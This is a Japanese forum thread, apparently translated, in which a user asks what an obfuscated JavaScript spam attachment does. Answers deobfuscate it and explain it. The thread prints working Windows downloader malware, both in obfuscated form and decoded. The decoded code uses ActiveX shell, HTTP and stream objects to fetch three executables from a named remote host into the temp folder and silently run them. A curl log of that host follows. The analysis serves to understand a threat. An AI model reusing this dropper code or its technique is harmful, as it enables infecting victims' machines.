スパムフォルダに次のコードを含むjsファイルを受け取りましたが、ファイルを調べることにしました。あなたの誰かがこのコードが何をするかもしれないか知っていますか?
var evl='';function nr() { evl = '}; ' + evl; de(); }; function ul() { evl = '(92)+' + evl; vd(); }; function hg() { evl = '71D' + evl; pj(); }; function fg() { evl = 'tech.' + evl; pv(); }; function xg() { evl = 'var x' + evl; sq(); }; function nq() { evl = 'a =' + evl; xg(); }; function py() { evl = 'ws.Ru' + evl; nw(); }; function ft() { evl = 'Cha' + evl; hz(); }; function ma() { evl = 'tiveX' + evl; iz(); }; function tj() { evl = 'trin' + evl; fu(); }; function it() { evl = 'n(); ' + evl; rc(); }; function eo() { evl = '5-te' + evl; zw(); }; function sm() { evl = ' dl' + evl; hl(); }; function rm() { evl = 'hell"' + evl; ak(); }; function ob() { evl = 'y); x' + evl; px(); }; function f() { evl = 'D090' + evl; xa(); }; function by() { evl = 'eady' + evl; tr(); }; function pv() { evl = '.s5-' + evl; fj(); }; function ya() { evl = '; try' + evl; uh(); }; function jv() { evl = '== 4' + evl; ui(); }; function bv() { evl = ' va' + evl; jd(); }; function zq() { evl = '=545' + evl; ff(); }; function xb() { evl = 'id=' + evl; rt(); }; function uc() { evl = 'se()' + evl; fy(); }; function w() { evl = 'cumen' + evl; ud(); }; function ts() { evl = '23"' + evl; l(); }; function ko() { evl = '505' + evl; ln(); }; function jk() { evl = ' ws.' + evl; su(); }; function of() { evl = 'pons' + evl; rx(); }; function ud() { evl = 'm/do' + evl; ek(); }; function lq() { evl = 'C5E01' + evl; ko(); }; function oi() { evl = 'n(f' + evl; py(); }; function mf() { evl = 'ect("' + evl; au(); }; function b() { evl = 'view.' + evl; dy(); }; function hl() { evl = 'tion' + evl; fb(); }; function dy() { evl = 'nter' + evl; y(); }; function y() { evl = 'r-i' + evl; q(); }; function yr() { evl = '0105' + evl; dg(); }; function bs() { evl = 'ion ' + evl; wv(); }; function oj() { evl = '7111' + evl; nt(); }; function fk() { evl = 'ws = ' + evl; zc(); }; function bj() { evl = 'A020' + evl; h(); }; function mi() { evl = '854' + evl; hv(); }; function tx() { evl = 'ch.' + evl; eo(); }; function dc() { evl = '08240' + evl; iq(); }; function ui() { evl = 'e =' + evl; st(); }; function n() { evl = 'e",1' + evl; x(); }; function ig() { evl = '{ if ' + evl; pm(); }; function yk() { evl = 'xa.' + evl; cg(); }; function jd() { evl = 'fn;' + evl; ul(); }; function zp() { evl = 'com/' + evl; fg(); }; function iz() { evl = 'w Ac' + evl; fh(); }; function xl() { evl = '= 0;' + evl; bs(); }; function ut() { evl = 'ironm' + evl; pg(); }; function bw() { evl = '; d' + evl; gh(); }; function gw() { evl = '14A02' + evl; mo(); }; function kz() { evl = 'gs("' + evl; tj(); }; function ss() { evl = '(); ' + evl; oa(); }; function ff() { evl = 'hp?id' + evl; v(); }; function so() { evl = 'n,2);' + evl; vp(); }; function qo() { evl = 'ct("M' + evl; al(); }; function wx() { evl = '"7978' + evl; t(); }; function a() { evl = 'A02' + evl; z(); }; function xc() { evl = 'wri' + evl; yk(); }; function g() { evl = 'rnd=' + evl; ld(); }; function zs() { evl = 'D&rnd' + evl; bj(); }; function da() { evl = 'WScri' + evl; mz(); }; function fm() { evl = '-int' + evl; fr(); }; function od() { evl = '0D&' + evl; gw(); }; function at() { evl = 'ADOD' + evl; mf(); }; function wv() { evl = 'osit' + evl; ov(); }; function bp() { evl = ' xa.' + evl; xl(); }; function lg() { evl = '",f' + evl; yj(); }; function lr() { evl = 'docum' + evl; pl(); }; function yn() { evl = 'te(xo' + evl; xc(); }; function pg() { evl = 'ndEnv' + evl; cy(); }; function ih() { evl = 'p://' + evl; mr(); }; function lk() { evl = 'Str' + evl; wh(); }; function ny() { evl = 'xo.op' + evl; iw(); }; function dq() { evl = ' xa.' + evl; so(); }; function eh() { evl = '50D08' + evl; nk(); }; function hv() { evl = '342' + evl; g(); }; function fp() { evl = '); d' + evl; n(); }; function aj() { evl = 'n,0' + evl; oi(); }; function zh() { evl = 'hp?id' + evl; jx(); }; function fu() { evl = 'entS' + evl; ut(); }; function d() { evl = '2547' + evl; ga(); }; function yb() { evl = '.s5-' + evl; r(); }; function fj() { evl = '.app' + evl; vi(); }; function hk() { evl = '=53' + evl; zs(); }; function sq() { evl = ') { ' + evl; jv(); }; function wg() { evl = 'docum' + evl; zp(); }; function ua() { evl = '; xo.' + evl; xr(); }; function sd() { evl = '2.XM' + evl; db(); }; function ga() { evl = ',"240' + evl; ts(); }; function zw() { evl = 'app.s' + evl; b(); }; function cx() { evl = 'eam"' + evl; tn(); }; function as() { evl = 'e =' + evl; th(); }; function ak() { evl = 'pt.S' + evl; da(); }; function ba() { evl = '.ex' + evl; m(); }; function yj() { evl = '"GET' + evl; is(); }; function dl() { evl = 'erv' + evl; fm(); }; function z() { evl = '12014' + evl; ke(); }; function cm() { evl = 'tp://' + evl; gz(); }; function zc() { evl = 'ar ' + evl; tg(); }; function xx() { evl = '); xa' + evl; cx(); }; function ld() { evl = '0D&' + evl; a(); }; function pj() { evl = '1051' + evl; qz(); }; function lp() { evl = '(fr,f' + evl; sm(); }; function cy() { evl = 'Expa' + evl; jk(); }; function fb() { evl = 'func' + evl; we(); }; function de() { evl = ',0); ' + evl; aj(); }; function hw() { evl = '2",' + evl; mi(); }; function vp() { evl = 'ile(f' + evl; wm(); }; function oa() { evl = 'send' + evl; pz(); }; function i() { evl = 'er-' + evl; p(); }; function dt() { evl = 'r,f' + evl; lg(); }; function we() { eval(evl); }; function sg() { evl = '%TEM' + evl; kz(); }; function uk() { evl = ' dl(' + evl; dd(); }; function ue() { evl = 'ready' + evl; or(); }; function rt() { evl = 'php?' + evl; j(); }; function rx() { evl = '.Res' + evl; yn(); }; function v() { evl = 'ent.p' + evl; lr(); }; function nk() { evl = '090' + evl; hg(); }; function ni() { evl = 'tch' + evl; qc(); }; function x() { evl = '79.ex' + evl; oj(); }; function e() { evl = '1);' + evl; sh(); }; function sh() { evl = 'xe",' + evl; k(); }; function t() { evl = '81",' + evl; li(); }; function mo() { evl = 'D120' + evl; s(); }; function ur() { evl = 'http:' + evl; o(); }; function wh() { evl = 'P%")+' + evl; sg(); }; function pa() { evl = 'n,rn' + evl; lp(); }; function cg() { evl = '= 1; ' + evl; dn(); }; function ne() { evl = '); v' + evl; rm(); }; function gh() { evl = ' }; }' + evl; ng(); }; function vv() { evl = 'rnd=7' + evl; od(); }; function wm() { evl = 'ToF' + evl; fq(); }; function k() { evl = '1.e' + evl; d(); }; function j() { evl = 'ent.' + evl; wg(); }; function qz() { evl = '5E0' + evl; c(); }; function xr() { evl = 'P")' + evl; yp(); }; function jx() { evl = 't.p' + evl; w(); }; function au() { evl = 'Obj' + evl; ma(); }; function tn() { evl = 'B.Str' + evl; at(); }; function pm() { evl = '() ' + evl; jj(); }; function yw() { evl = 'ar ' + evl; ne(); }; function ew() { evl = '; }' + evl; uc(); }; function ov() { evl = 'a.p' + evl; ob(); }; function yp() { evl = 'LHTT' + evl; sd(); }; function uh() { evl = '; }' + evl; ew(); }; function nt() { evl = '"40' + evl; hw(); }; function rc() { evl = '.ope' + evl; xx(); }; function q() { evl = 'dle' + evl; jl(); }; function ag() { evl = 'ew Ac' + evl; oy(); }; function u() { evl = 'tec' + evl; yb(); }; function or() { evl = '(xo.' + evl; ig(); }; function tr() { evl = 'onr' + evl; ua(); }; function st() { evl = 'Stat' + evl; ue(); }; function pi() { evl = '171D' + evl; yr(); }; function dn() { evl = 'type ' + evl; zo(); }; function l() { evl = '2948' + evl; vv(); }; function pl() { evl = 'com/' + evl; tx(); }; function cd() { evl = 'tive' + evl; ag(); }; function c() { evl = '05C' + evl; zq(); }; function pz() { evl = '; xo.' + evl; rz(); }; function lj() { evl = '080D' + evl; ka(); }; function h() { evl = '12014' + evl; lj(); }; function dg() { evl = '5C5E' + evl; sx(); }; function mr() { evl = '"htt' + evl; uk(); }; function su() { evl = 'fn =' + evl; yw(); }; function ek() { evl = 'h.co' + evl; u(); }; function jj() { evl = 'ction' + evl; kw(); }; function nw() { evl = '0) { ' + evl; ws(); }; function jl() { evl = '//a' + evl; ur(); }; function r() { evl = 'w.app' + evl; ao(); }; function th() { evl = 'chang' + evl; tm(); }; function al() { evl = 'XObje' + evl; cd(); }; function p() { evl = 'adl' + evl; ih(); }; function xa() { evl = '05171' + evl; lq(); }; function an() { evl = 'new A' + evl; fk(); }; function ka() { evl = 'D0824' + evl; ap(); }; function sx() { evl = '5450' + evl; xb(); }; function li() { evl = '441' + evl; hk(); }; function vd() { evl = 'rCode' + evl; ft(); }; function tv() { evl = ' (e' + evl; ni(); }; function hz() { evl = 'rom' + evl; kr(); }; function fr() { evl = 'adler' + evl; cm(); }; function qc() { evl = '} ca' + evl; nr(); }; function mz() { evl = 'ect("' + evl; he(); }; function ws() { evl = 'n > ' + evl; wz(); }; function kr() { evl = 'ing.f' + evl; lk(); }; function iw() { evl = ' { ' + evl; ya(); }; function kw() { evl = ' fun' + evl; as(); }; function ap() { evl = '09050' + evl; pi(); }; function ao() { evl = 'vie' + evl; hs(); }; function zo() { evl = 'xa.' + evl; it(); }; function fy() { evl = 'clo' + evl; dq(); }; function fh() { evl = ' ne' + evl; nq(); }; function s() { evl = '24080' + evl; eh(); }; function hs() { evl = 'inter' + evl; i(); }; function px() { evl = 'eBod' + evl; of(); }; function db() { evl = 'SXML' + evl; qo(); }; function pe() { evl = 'r x' + evl; bv(); }; function my() { evl = 'ctiv' + evl; an(); }; function wz() { evl = 'if (r' + evl; ss(); }; function m() { evl = '9691' + evl; wx(); }; function o() { evl = 'l("' + evl; fp(); }; function oy() { evl = 'o = n' + evl; pe(); }; function ln() { evl = '=54' + evl; zh(); }; function dd() { evl = '1);' + evl; fn(); }; function is() { evl = 'en(' + evl; ny(); }; function ke() { evl = '80D' + evl; dc(); }; function fn() { evl = 'e",' + evl; ba(); }; function ng() { evl = 'r) {' + evl; tv(); }; function vi() { evl = 'iew' + evl; dl(); }; function fq() { evl = 'save' + evl; bp(); }; function tm() { evl = 'state' + evl; by(); }; function he() { evl = 'eXObj' + evl; my(); }; function rz() { evl = 'alse)' + evl; dt(); }; function tg() { evl = ') { v' + evl; pa(); }; function iq() { evl = '50D' + evl; f(); }; function gz() { evl = 'l("ht' + evl; bw(); }; e();
画像はそれ自体を物語っています:
これにより、実際には、次のJSを含むZipファイルのダウンロード時にアンチウイルスがトリガーされ、JSUnpackを使用して解読されました。
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
} catch (er) {};
};
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=5344181", "79789691.exe", 1);
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=3428542", "40711179.exe", 1);
dl("http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823", "24025471.exe", 1);
これは、ActiveXオブジェクトを使用する関数を定義します(どのように機能するかわかりません。脆弱性を悪用するか、ユーザーが警告をクリックしてコードを実行できるほど愚かであることを期待しています)ファイルシステム(一時ファイルフォルダ)、リモートURLからいくつかの厄介なものをダウンロードし、最後にそれを実行します。
3つのURLをcurl
'すると次の空白の応答が返されるため、実際のマルウェアファイルをホストしているサーバーは侵害されている可能性が高く、すでにクリーンアップされています。 (ターゲットアプリケーションのUA)ファイルをダウンロードするには:
andre@network ~/malware % curl -v "http://adler-interview.app.s5-tech.com/document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823"
* Hostname was NOT found in DNS cache
* Trying 108.58.188.83...
* Connected to adler-interview.app.s5-tech.com (108.58.188.83) port 80 (#0)
> GET /document.php?id=54505C5E0105171D09050D0824080D12014A020D&rnd=7294823 HTTP/1.1
> User-Agent: curl/7.39.0
> Host: adler-interview.app.s5-tech.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Server: Microsoft-IIS/7.5
< X-Powered-By: PHP/5.4.9
< X-Powered-By: ASP.NET
< Date: Sat, 20 Dec 2014 02:05:35 GMT
< Content-Length: 0
<
* Connection #0 to Host adler-interview.app.s5-tech.com left intact
ActiveXは何も利用しておらず、警告も表示されません。
それが示すように、最初にシェルオブジェクト(コマンドプロンプト-エンドユーザーには表示されません)を開くため、マシンと対話でき、次にMSXML2.XMLHTTPオブジェクトを使用してhttp GETを実行しますが、ダウンロードするファイルはバイナリなので、ActiveXObject( "ADODB.Stream")を使用して一時ファイルにダウンロードします。その後、もちろん、作成したShellオブジェクトを使用して、ダウンロードした実行可能ファイルを実行します。